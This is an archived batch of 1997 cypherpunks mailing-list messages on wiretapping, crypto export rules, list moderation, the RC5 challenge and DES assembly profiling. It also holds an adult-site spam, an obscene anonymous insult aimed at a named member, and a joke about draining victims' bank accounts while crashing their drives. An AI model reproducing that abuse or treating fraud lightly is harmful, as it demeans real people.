> luscious examples.)

Actually, I wouldn't think the cops would be too hot on that idea.
Taps would require physical access to the phone network, meaning a
warrant or other specific authorization and a time delay. Worse from
the cops' perspective, the phone company will know who is being 
monitored. That means accountability, and that means leaks.

The goal will always be end-to-end "key recovery." A fixed key in the 
phone that can be cracked is much preferable to a random DH exchange, 
which would be the right way to do a last-hop-only encryption (all
from the cops' perspective, of course).

With "key recovery" currently out of favor, the cops' strategy is FUD 
and the criminalization of illegal wiretaps (by private citizens
anyway), to create a false sense of security.

In any case, evangelizing and deploying real end-to-end encryption now 
is the way to go.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 13 Jan 1997 21:37:36 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: It's a great new year!  telemarketers and solicitors
In-Reply-To: <199701131945.LAA29089@toad.com>
Message-ID: <32DB143A.26E5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Sean Roach wrote:

> To me, it seems to be a breach of conduct for a company to use a mailing
> list that is not thier own as a mass mailing technique.
> Again, these are only my personal opinions.

  It's called 'whoring' (for money, i.e. prostitution).
  In case you haven't noticed, the InterNet is the new 'Gold Rush'.
Every hustler and kook from here (wherever 'this' is) to Butt Fuck,
Montana, is jumping on the 'Information Highway' to get their piece
of the action.
  The whores don't just include the "Make $$$Money$$$ Fast" spammers.
The Big Boys with the Big Toys want to make sure that our personal
information and Web History is available for them to try to squeeze
every possible penny out of our pockets.
  With the 'wonder of modern technology' at their fingertips, however,
the 'common man/woman' can also avail themselves of the plethora of
information lying within reach of their sticky little fingers.

  Big Brother wants to know everything about everybody, and if the
average user gets tired of Little Brother getting ahold of the 
information, then I am sure that Big Brother will come to our
rescue, passing laws and instituting regualtions that 'save' us
by ensuring that only Big Brother knows all.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Mon, 13 Jan 1997 21:25:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: And she's no blond.....
Message-ID: <Pine.GUL.3.95.970113212300.5533B-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain


[joke from article <Sa8f.6014@clarinet.com>]

Soon you'll be able to count on that kind of personal service from
AltaVista, which recently paired with DoubleClick. Look where the banner
ads take you now. 

-rich





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mailbox@softcell.net
Date: Mon, 13 Jan 1997 18:28:47 -0800 (PST)
Subject: Network Neighbor
Message-ID: <19970114022133.AAE1930@Default>
MIME-Version: 1.0
Content-Type: text/plain




Dear Neighbor:

I selected your name from an Internet Email Provider.  Please accept my
apologies if I have offended you by sending you this email.  I will not send
you any more email again.  If you read on you will understand why I sent
it and will hopefully forgive me if you found this email to be an intrusion
of your space.

I am part of a small Internet company from San Francisco that recently
brought on-line the largest collection of high-end Dungeon toys and
apparel in the world.  We really are the largest!!  We have thousands of
items.  You won't believe  the stuff we sell: HUMAN CAGES, RACKS,
LEATHER AND RUBBER STRAIT JACKETS,  IRONS, and much
more.  Some items are so unique and sexually special that it would be
inappropriate to mention them in this email.  If we don't have it, we can
find it or make it!  We don't sell cheap Asian imports.  In fact, most of
those items are cheap imitations of ours.  We display our products using
provocative and very entertaining interactive pictorials.

Along the way, with input and help from our select members, we have
added instructional VIDEOS, action VIDEOS,  DUNGEON CHAT,
PERSONALS, ADVICE COLUMNS, Erotic Photo Contest,  Erotic
Writing Contest, and one of our most exciting sections, "THE EXOTIC
EROTIC BALL"  PICTORIAL.

This year we sent 10 photographers to San Francisco's Exotic Erotic Ball, 
the largest adult Halloween Ball in the world.  We took over a 1,000
photos.  We categorized them into over a dozen sections, including: Breast
of the Exotic Erotic,  Caught in the Act (People filmed having sex at the
ball),  Cool Female Costumes,  etc..

Our site has grown into the largest Dungeon Fantasy site on the net and in
the world.  We have developed and grown the site based on our members'
requirements.  It worked out so well, we decided to let other interested
neighbors know about it and share our enjoyment.

That is why I have emailed you.  We are a small company that now has the
largest Dungeon site in the world.  We can not afford to do a major PR
campaign to share what our members and we have built.  So, we selected a
few network neighbors like you, in the hope that you might explore our
services and then tell others.

If you would like to see what we have,  please check out our URLs:

       http://www.sfdungeon.com

                For Video
       http://www.dungeonvideo.com

                For Personals
       http://www.dungeonpersonals.com

You can email me at synder@softcell.net

Thank you for taking the time to read this letter.


Sincerely

Ken Synder


P.S.  Again, if I have offended you with this email, please accept my
apologies.  I WILL NOT EMAIL YOU AGAIN.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 13 Jan 1997 21:39:11 -0800 (PST)
To: Ian Goldberg <risks@CSL.sri.com
Subject: Re: New US regs ban downloadable data-security software
Message-ID: <3.0.32.19970113210258.006ade10@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 05:45 PM 1/13/97 -0800, Ian Goldberg wrote:
>After _very_ careful reading of the Export Administration Regulations (EAR)
>(though IANAL), it would seem that the above is slightly inaccurate.
[...]
>Therefore, it would seem that, as long as the security software on your ftp
>or WWW site is free of cost, it is OK to keep it there.  Commercial
>security software, however, remains export-restricted.

I concur with Ian Goldberg's careful analysis (thanks, Ian!) that
*freeware* data security software that does not use cryptography is indeed
not covered under the new regs.

Commercial data security software of any kind, regardless if it uses crypto
or not, is however prohibited from being distributed via the Internet or
being exported by any other means. Note that such software was explicitly
exempt from export regulations under the old ITAR. Now it is explicitly
included in the EAR.

I fail to see a rationale behind this change. But then, I fail to see the
rationale behind the entire ITAR/EAR scheme.

As always, IANAL,



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 13 Jan 1997 19:56:37 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <199701132323.PAA02433@toad.com>
Message-ID: <199701140403.WAA01557@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199701132323.PAA02433@toad.com>, on 01/13/97 at 07:23 PM,
   Sean Roach <roach_s@alph.swosu.edu> said:


>As long as a number of moderators have access, then why not also include in
>the header information the number of available moderators that gave the
>content a "thumbs up".  If this were tacked on to the front of the subject
>field, (for people like me whor are using Eudora Lite), then messages could
>be chosen, by the readers, based on the number of moderators that gave it
>approval.  Ideally, a relatively large number of moderators would be on hand so that the
>scale would be an accurate cross-reference of the groups opinions.


Not a bad ideal but I would have to dissagre with adding the information on the subject
line. It would better be put on a x-moderator: line or somthing similar. Adding
information to a subject line adds an extra level of complexity to the end users filtering
process. This has always been a beef with me when lists
modify the subject line.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    WebExplorer & Java Enhanced!!!
Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice

Look for MR/2 Tips & Rexx Scripts
Get Work Place Shell for Windows!!
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Walk through doors, don't crawl through Windows.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMtsD/49Co1n+aLhhAQFgkQQAmnY6mSTscwriK9QEOefCbsS4UYPxFA5Q
6jRYfCYht4+QbwBqIksn5b08Qe5btXrFo1bdgO4CzBwr4B8UdRxPHQC4tcEIVlIK
rmp7Nrq6c599GjddeJAs1kcZygYzf+g0K756BkigNKXqhNsGbdp+MCTvkCJzUqNp
P6WekB0Xo5A=
=uc/R
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AaronH4321@aol.com
Date: Mon, 13 Jan 1997 19:05:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Diehard can be found at.
Message-ID: <970113154636_470327888@emout13.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


I found this address for it after a couple of tries getting to the
"Diehard.html" site. I couldn't connect to that. This FTP site works though.
I found it at 

http://ourworld.compuserve.com/homepages/bob_jenkins/testsfor.htm

To qoute, "An excellent test of random sequences is DIEHARD, maintained by
George Marsaglia. You get it by ftp from stat.fsu.edu, login anonymous, cd
pub, cd diehard, then get what you want. NOTE: George needs you to send him
mail at geo@stat.fsu.edu when you download it so he can keep getting grants
to support his excellent work."

Aaron.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 13 Jan 1997 22:07:24 -0800 (PST)
To: Clay Olbon II <olbon@ix.netcom.com>
Subject: Re: Newt's phone calls
In-Reply-To: <1.5.4.16.19970113191647.098f90d2@popd.ix.netcom.com>
Message-ID: <32DB2262.3A62@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Clay Olbon II wrote:
> I just caught the news reports of Newt Gingrich's cell phone calls being
> taped by "a little old retired couple" with a scanner.  These were then
> given to a congressman, who gave them to a newspaper.
> The take on this that we won't hear is: "This is outrageous!  Why don't
> cell-phones offer encryption to ensure our privacy?"
> Unfortunately, I think crypto is still so far beneath the public
> consciousness that the obvious solution to these sorts of problems is
> ignored in favor of the "there oughta be a law" non-solution.  (Of course,
> in this case there is a law!) What I really hope this incident spawns is a
> market ...

I'm not sure what crypto will do to voice transmission, but from my
own personal example:  I just bought two Motorola portable phones
(46 mhz) with Secure Clear(r) voice scrambling.  On my AOR 8000
scanner, it sounds to my ears like very muffled Chinese.

The bad news is that when just one of these is talking to a "normal"
telephone, it cuts down a little on the clarity, and when two are
talking to each other, you have to speak very distinctly and not
quietly, to make out the softly-spoken passages.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Mon, 13 Jan 1997 22:37:36 -0800 (PST)
To: cypherpunks, gnu
Subject: You can now subscr. to the moderated/unmoderated/flames lists
Message-ID: <199701140637.WAA14213@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


It's taking a bit longer than we had hoped, but I'm finally getting
the toad majordomo configuration set up for the moderation experiment.

I have set up majordomo so that you should be able to sub-scribe to the
three new cypherpunks mailing lists:

	cypherpunks		the new moderated list
	cypherpunks-unedited	same as it ever was - flames and all
	cypherpunks-flames	the flames that the moderator rejected

MODERATION HAS NOT YET BEGUN.  At the moment, a subscription to either
of the first two lists will get you everything, while a subscription
to cypherpunks-flames will get you no postings.

ALL CURRENT SUBSCRIBERS ARE STILL SUBSCRIBED TO THE CYPHERPUNKS LIST,
which will become the moderated list.  I hope most people will stay on
it, so we can get some real results from the experiment of having
a volunteer moderator for a month.

If you want to change your subscription, send mail to
<majordomo@toad.com>.  You can tell it things like:

subscribe cypherpunks-unedited	(to subscribe to the new unedited list)
unsubscribe cypherpunks		(to get off the cypherpunks list)
which				(if confused about which lists(s) you are on)
help				(if truly confused about majordomo)

The software doesn't care if you subscribe to multiple lists, but you
will probably only want to subscribe to one of them at once.  This
means that to CHANGE your subscription you will need to unsubscribe
from one list and subscribe to another.

I've only briefly looked at the list traffic on the subject of
moderation, but there seems to be a misunderstanding.  I'm planning to
keep the cypherpunks-unedited list around.  This will preserve fast
turnaround (though it frequently takes many hours to send each posting
to each list member -- it isn't *that* fast), and will permit other
people to run their own different brands of moderation if they want to
put in the effortw.  The list I have no use for, and might terminate
after trying things for a month, is the flames list.

Each message will be processed by immediately sending it to
cypherpunks-unedited.  The experimental moderator (Sandy) will be on
the -unedited list, and will therefore receive all the traffic.  He
will forward each posting to either the moderated list, or to the
-flames list.  Note:

	*  The unedited list gets fast turnaround and doesn't require any
	   human action in order to forward a message.

	*  The integrity of the flames list depends on the human moderators;
	   if they drop a message (accidentally or on purpose) then it won't
	   appear on either the moderated or the -flames list.

	John Gilmore

PS:  If you're wondering why I said "subscr." and "sub-scribe" it's because
majordomo doesn't like messages containing those words in the subject or
first five lines.  It keeps down the unintended noise from newbies who
send subscription requests to the entire list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Mon, 13 Jan 1997 23:55:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: RSA
Message-ID: <199701140712.XAA12347@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May likes to lick the semen-shit 
mixture that accumulates in the crack of his 
mother's ass.

          __
         /_/\__
         \_\/\_\ Timmy May
         /\_\/_/
         \/_/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 13 Jan 1997 23:43:33 -0800 (PST)
To: iang@cs.berkeley.edu (Ian Goldberg)
Subject: Re: RSA challenge: is it legal to try?
Message-ID: <3.0.32.19970113234047.00759c60@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:50 PM 1/13/97 -0800, Ian Goldberg wrote:

>According to http://www.rsa.com/rsalabs/newfaq/q76.html, RSA is in the
>process of patent application for RC5.  Does that mean it's illegal to
>write a keysearch program for the RC5 challenges (unless you use BSAFE
>or something like that)?

Seems to me that a defendant who was participating in the challenge (or
working with people who were, or was getting ready to participate) would
have a strong argument that RSA gave implicit permission to use the
patented algorithm in connection with the contest, or that a patent
infringement action by RSA against a defendant who was participating in the
contest would be barred by the doctrine of equitable estoppel. (Very
broadly, equitable estoppel says that you can't tell someone "X", and then
sue them on a theory of "not X", or come to court and argue that they are
liable because of "not X".) Perhaps somewhere in the contest rules there's
a limitation on the software/source code to be used? (I poked through the
contest stuff a few days ago, and didn't see anything like that, but I got
the impression that they weren't entirely finished putting it together.)

YMMV, IANALUIPTB (.. until I pass the bar), etc. But it would be
monumentally stupid to create a contest and then punish people for
participating. The contest seems likely to do two things (beyond test the
strength of the algorithm): develop an installed multiplatform base of
optimized code which runs RC5, and give people who possess/distribute it a
legal reason for having done so. So it'll be tough to stuff the RC5 rabbit
back in the hat when the contest is over. RC5 seems destined to end up like
RSA public-key, Diffie-Hellman, and IDEA - publically available (and
probably deployed in free "rogue" software) yet only available commercially
for a fee. Presumably the RC5 patent (if one is awarded) won't suffer from
the peculiarities of the international patent schemes which made RSA only
patentable in the US.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 13 Jan 1997 23:50:30 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Checking debit
In-Reply-To: <199701132321.RAA30596@mailhub.amaranth.com>
Message-ID: <32DB4470.3813@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:
> 
> >DEBIT YOUR CUSTOMERS' CHECKING ACCOUNTS ... 
> >Close sales at your Web site, close telephone sales immediately, ship
> >merchandise immediately(!) ...by drafting the customer's checking account.
> 
> 
> If they are capable of getting access to funds in an account just by a phone
> conversation this is truly a sad state of affairs for the banking community.
> 
> Could somone here with more banking background clarify this?

  From view of my own past experience, this seems to be much easier than
lugging all that acetylyne equipment into the bank in the middle of the
night.
  Sounds to me like the people using this scheme need to get ahold of
fuck@yourself.up and get a mailing list of the gullible folks who
ran the executable that he made available to the CypherPunks.
  Perhaps they could combine their projects. First you get the mark's
banking info, then you crash his hard drive to keep him busy while
you drain his account.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Tue, 14 Jan 1997 00:19:49 -0800 (PST)
To: trei@process.com>
Subject: Pentium optimizations for DES (BIG)
Message-ID: <3.0.32.19970113220836.006ab2e4@best.com>
MIME-Version: 1.0
Content-Type: text/plain


Here is some output of the static code analysis from
Intel VTUNE of the win32.??? des crypt routine
from LIBDES 4.0

You'll have to fiddle with your text margins to get it looking
right.

Shown are the U and V pipes, clocks, and penalties for:
* unpairable instructs (PU_Inst),
* instructs dependent on previous results (Exp_Flow_Dep_???)
* addresses dependent on previous instructs (Exp_AGI_???)

and the %total time at the instruction, etc.
based on a run of "speed.c" sampled at .25 millisec intervals

A lot of the penalties are the "AGI" flavor, or "address generation interlock"
as in:

mov      bl, dl                                    1
mov      cl, dh
xor      esi, DWORD PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
<< penalty

which **maybe** can be avoided by moving (in this example)
the "mov bl,dl" to the earliest possible location where the
algorithm semantics are unchanged.  But you have to be careful not to 
kill some other pairing if you do.

If I had more time I'd do it!  ;)  But I wonder if this isn't getting
close to the point of diminishing returns ..... the overall stats for
the encrypt routine showed about 85% pairing, and averaged out to just
slightly less than 1 clock/instruction.
   

Just fyi, the total thruput on my system, a cyrix586 133, was just over 
1M encrypts/sec, CBC.
----------------------------------------------------------------------
                      Address Label           Time     Instructions
                             Clocks Penalties and Warnings Pairing Issues
      W               0x103c  des_encrypt:    0.17%   push     ebp
                             1                             Label
             V        0x103d                  0.04%   push     ebx
      U               0x103e                  0.05%   push     esi
                             1
             V        0x103f                  0.06%   push     edi
      U               0x1040                  0.04%   mov      eax, DWORD
PTR [esp+20]                   1
      W             * 0x1044                  0.11%   mov      esi, DWORD
PTR [eax]                      2      Exp_AGI_U_Pen:1        Exp_AGI
             V        0x1046                  0.07%   mov      edi, DWORD
PTR [eax+4]
      U               0x1049                  0.04%   mov      eax, edi
                             1
      N               0x104b                  0.07%   shr      eax, 4
                             1                             PU_Inst,
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x104e                  0.11%   xor      eax, esi
                             1
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x1050                  0.05%   and      eax,
0f0f0f0fh                            1
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x1055                  0.05%   xor      esi, eax
                             1                             Exp_Flow_Dep_eax
      N               0x1057                  0.05%   shl      eax, 4
                             1                             PU_Inst
      W               0x105a                  0.12%   xor      edi, eax
                             1                             Exp_Flow_Dep_eax
             V        0x105c                  0.06%   mov      eax, esi
      U               0x105e                  0.06%   shr      eax, 16
                             1
      N               0x1061                  0.10%   xor      eax, edi
                             1
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x1063                  0.05%   and      eax, 0ffffh
                             1
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x1068                  0.06%   xor      edi, eax
                             1                             Exp_Flow_Dep_eax
      N               0x106a                  0.06%   shl      eax, 16
                             1                             PU_Inst
      W               0x106d                  0.11%   xor      esi, eax
                             1                             Exp_Flow_Dep_eax
             V        0x106f                  0.05%   mov      eax, edi
      U               0x1071                  0.06%   shr      eax, 2
                             1
      N               0x1074                  0.10%   xor      eax, esi
                             1
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x1076                  0.06%   and      eax,
033333333h                           1
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x107b                  0.07%   xor      esi, eax
                             1                             Exp_Flow_Dep_eax
      N               0x107d                  0.04%   shl      eax, 2
                             1                             PU_Inst
      W               0x1080                  0.13%   xor      edi, eax
                             1                             Exp_Flow_Dep_eax
             V        0x1082                  0.06%   mov      eax, esi
      U               0x1084                  0.04%   shr      eax, 8
                             1
      N               0x1087                  0.11%   xor      eax, edi
                             1
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x1089                  0.06%   and      eax,
0ff00ffh                             1
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x108e                  0.06%   xor      edi, eax
                             1                             Exp_Flow_Dep_eax
      N               0x1090                  0.07%   shl      eax, 8
                             1                             PU_Inst
      W               0x1093                  0.12%   xor      esi, eax
                             1                             Exp_Flow_Dep_eax
             V        0x1095                  0.04%   mov      eax, edi
      U               0x1097                  0.05%   shr      eax, 1
                             1
      N               0x1099                  0.15%   xor      eax, esi
                             1
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x109b                  0.05%   and      eax,
055555555h                           1
Exp_Flow_Dep_eax, Exp_Output_Dep_eax
      N               0x10a0                  0.07%   xor      esi, eax
                             1                             Exp_Flow_Dep_eax
      N               0x10a2                  0.07%   shl      eax, 1
                             1                             PU_Inst
      N               0x10a4                  0.16%   xor      edi, eax
                             1                             Exp_Flow_Dep_eax
      N               0x10a6                  0.06%   rol      esi, 3
                             1                             PU_Inst
      W               0x10a9                  0.11%   rol      edi, 3
                             1                             PU_Inst
             V        0x10ac                  0.13%   xor      ebx, ebx
      U               0x10ae                  0.05%   mov      eax, DWORD
PTR [esp+28]                   1
             V        0x10b2                  0.06%   xor      ecx, ecx
      U               0x10b4                  0.04%   cmp      eax, 0
                             1
             V        0x10b7                  0.06%   mov      ebp, DWORD
PTR [esp+24]
      U               0x10bb                  0.09%   je
des_encrypt+68a (16c6h)                   1
      W               0x10c1  des_encrypt+85: 0.06%   mov      edx, DWORD
PTR [ebp+4]                    1                             Basic_Block,
Prev_PV/NP
             V        0x10c4                  0.07%   mov      eax, DWORD
PTR [ebp]
      U               0x10c7                  0.05%   xor      edx, esi
                             1
             V        0x10c9                  0.06%   xor      eax, esi
      U               0x10cb                  0.05%   ror      edx, 4
                             1
             V        0x10ce                  0.11%   and      eax, -03030304h
      U               0x10d3                  0.06%   and      edx,
-03030304h                           1
             V        0x10d9                  0.05%   mov      bl, al
      U               0x10db                  0.08%   mov      cl, ah
                             1
             V      * 0x10dd                  0.14%   xor      edi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x10e3                  0.10%   shr      eax, 16
                             1
             V      * 0x10e6                  0.10%   xor      edi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x10ec                  0.10%   mov      bl, al
                             1
             V        0x10ee                  0.06%   mov      cl, ah
      U             * 0x10f0                  0.16%   xor      edi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x10f6                  0.11%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x10fc                  0.08%   mov      bl, dl
                             1
             V        0x10fe                  0.04%   mov      cl, dh
      U             * 0x1100                  0.18%   xor      edi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x1106                  0.11%   shr      edx, 16
                             1                             PU_Inst
             V        0x1109                  0.13%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x110f                  0.11%   mov      bl, dl
                             1
             V        0x1111                  0.06%   mov      cl, dh
      U             * 0x1113                  0.16%   xor      edi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x1119                  0.11%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x111f                  0.09%   xor      edi, eax
                             1
             V        0x1121                  0.05%   mov      edx, DWORD
PTR [ebp+12]
      U               0x1124                  0.07%   mov      eax, DWORD
PTR [ebp+8]                    1
             V        0x1127                  0.05%   xor      edx, edi
      U               0x1129                  0.05%   xor      eax, edi
                             1
      W               0x112b                  0.06%   ror      edx, 4
                             1                             PU_Inst
             V        0x112e                  0.11%   and      eax, -03030304h
      U               0x1133                  0.06%   and      edx,
-03030304h                           1
             V        0x1139                  0.05%   mov      bl, al
      U               0x113b                  0.07%   mov      cl, ah
                             1
             V      * 0x113d                  0.17%   xor      esi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x1143                  0.11%   shr      eax, 16
                             1
             V      * 0x1146                  0.13%   xor      esi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x114c                  0.11%   mov      bl, al
                             1
             V        0x114e                  0.05%   mov      cl, ah
      U             * 0x1150                  0.17%   xor      esi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x1156                  0.11%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x115c                  0.06%   mov      bl, dl
                             1
             V        0x115e                  0.05%   mov      cl, dh
      U             * 0x1160                  0.16%   xor      esi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x1166                  0.10%   shr      edx, 16
                             1                             PU_Inst
             V        0x1169                  0.13%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x116f                  0.09%   mov      bl, dl
                             1
             V        0x1171                  0.06%   mov      cl, dh
      U             * 0x1173                  0.19%   xor      esi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x1179                  0.13%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x117f                  0.11%   xor      esi, eax
                             1
             V        0x1181                  0.06%   mov      edx, DWORD
PTR [ebp+20]
      U               0x1184                  0.06%   mov      eax, DWORD
PTR [ebp+16]                   1
             V        0x1187                  0.05%   xor      edx, esi
      U               0x1189                  0.05%   xor      eax, esi
                             1
      W               0x118b                  0.07%   ror      edx, 4
                             1                             PU_Inst
             V        0x118e                  0.13%   and      eax, -03030304h
      U               0x1193                  0.04%   and      edx,
-03030304h                           1
             V        0x1199                  0.07%   mov      bl, al
      U               0x119b                  0.06%   mov      cl, ah
                             1
             V      * 0x119d                  0.16%   xor      edi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x11a3                  0.11%   shr      eax, 16
                             1
             V      * 0x11a6                  0.11%   xor      edi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x11ac                  0.11%   mov      bl, al
                             1
             V        0x11ae                  0.04%   mov      cl, ah
      U             * 0x11b0                  0.18%   xor      edi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x11b6                  0.10%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x11bc                  0.08%   mov      bl, dl
                             1
             V        0x11be                  0.05%   mov      cl, dh
      U             * 0x11c0                  0.17%   xor      edi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x11c6                  0.11%   shr      edx, 16
                             1                             PU_Inst
             V        0x11c9                  0.13%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x11cf                  0.09%   mov      bl, dl
                             1
             V        0x11d1                  0.06%   mov      cl, dh
      U             * 0x11d3                  0.17%   xor      edi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x11d9                  0.13%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x11df                  0.08%   xor      edi, eax
                             1
             V        0x11e1                  0.06%   mov      edx, DWORD
PTR [ebp+28]
      U               0x11e4                  0.06%   mov      eax, DWORD
PTR [ebp+24]                   1
             V        0x11e7                  0.04%   xor      edx, edi
      U               0x11e9                  0.06%   xor      eax, edi
                             1
      W               0x11eb                  0.05%   ror      edx, 4
                             1                             PU_Inst
             V        0x11ee                  0.11%   and      eax, -03030304h
      U               0x11f3                  0.04%   and      edx,
-03030304h                           1
             V        0x11f9                  0.06%   mov      bl, al
      U               0x11fb                  0.06%   mov      cl, ah
                             1
             V      * 0x11fd                  0.16%   xor      esi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x1203                  0.12%   shr      eax, 16
                             1
             V      * 0x1206                  0.13%   xor      esi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x120c                  0.12%   mov      bl, al
                             1
             V        0x120e                  0.05%   mov      cl, ah
      U             * 0x1210                  0.19%   xor      esi, DWORD
PTR [ebx+041a4a8h]             3      Exp_AGI_U_Pen:1
             V        0x1216                  0.12%   mov      eax, DWORD
PTR [ecx+041a6a8h]
      U               0x121c                  0.07%   mov      bl, dl
                             1
             V        0x121e                  0.05%   mov      cl, dh
      U             * 0x1220                  0.18%   xor      esi, DWORD
PTR [ebx+041a1a8h]             3      Exp_AGI_U_Pen:1
      W               0x1226                  0.09%   shr      edx, 16
                             1                             PU_Inst
             V        0x1229                  0.12%   xor      eax, DWORD
PTR [ecx+041a3a8h]             2-1
      U               0x122f                  0.11%   mov      bl, dl
                             1
             V        0x1231                  0.06%   mov      cl, dh
      U             * 0x1233                  0.17%   xor      esi, DWORD
PTR [ebx+041a5a8h]             3      Exp_AGI_U_Pen:1
             V        0x1239                  0.11%   xor      eax, DWORD
PTR [ecx+041a7a8h]             2-1
      U               0x123f                  0.11%   xor      esi, eax
                             1
             V        0x1241                  0.05%   mov      edx, DWORD
PTR [ebp+36]
      U               0x1244                  0.06%   mov      eax, DWORD
PTR [ebp+32]                   1
             V        0x1247                  0.06%   xor      edx, esi
      U               0x1249                  0.05%   xor      eax, esi
                             1
      W               0x124b                  0.06%   ror      edx, 4
                             1                             PU_Inst
             V        0x124e                  0.13%   and      eax, -03030304h
      U               0x1253                  0.05%   and      edx,
-03030304h                           1
             V        0x1259                  0.06%   mov      bl, al
      U               0x125b                  0.08%   mov      cl, ah
                             1
             V      * 0x125d                  0.17%   xor      edi, DWORD
PTR [ebx[des_SPtrans (10a8h)]] 3-1    Exp_AGI_V_Pen:1
      U               0x1263                  0.13%   shr      eax, 16
                             1
             V      * 0x1266                  0.10%   xor      edi, DWORD
PTR [ecx+041a2a8h]             3-1    Exp_AGI_U_Pen:1
      U               0x126c                  0.13%   mov      bl, al
                             1
             V        0x126e                  0.05%   mov      cl, ah
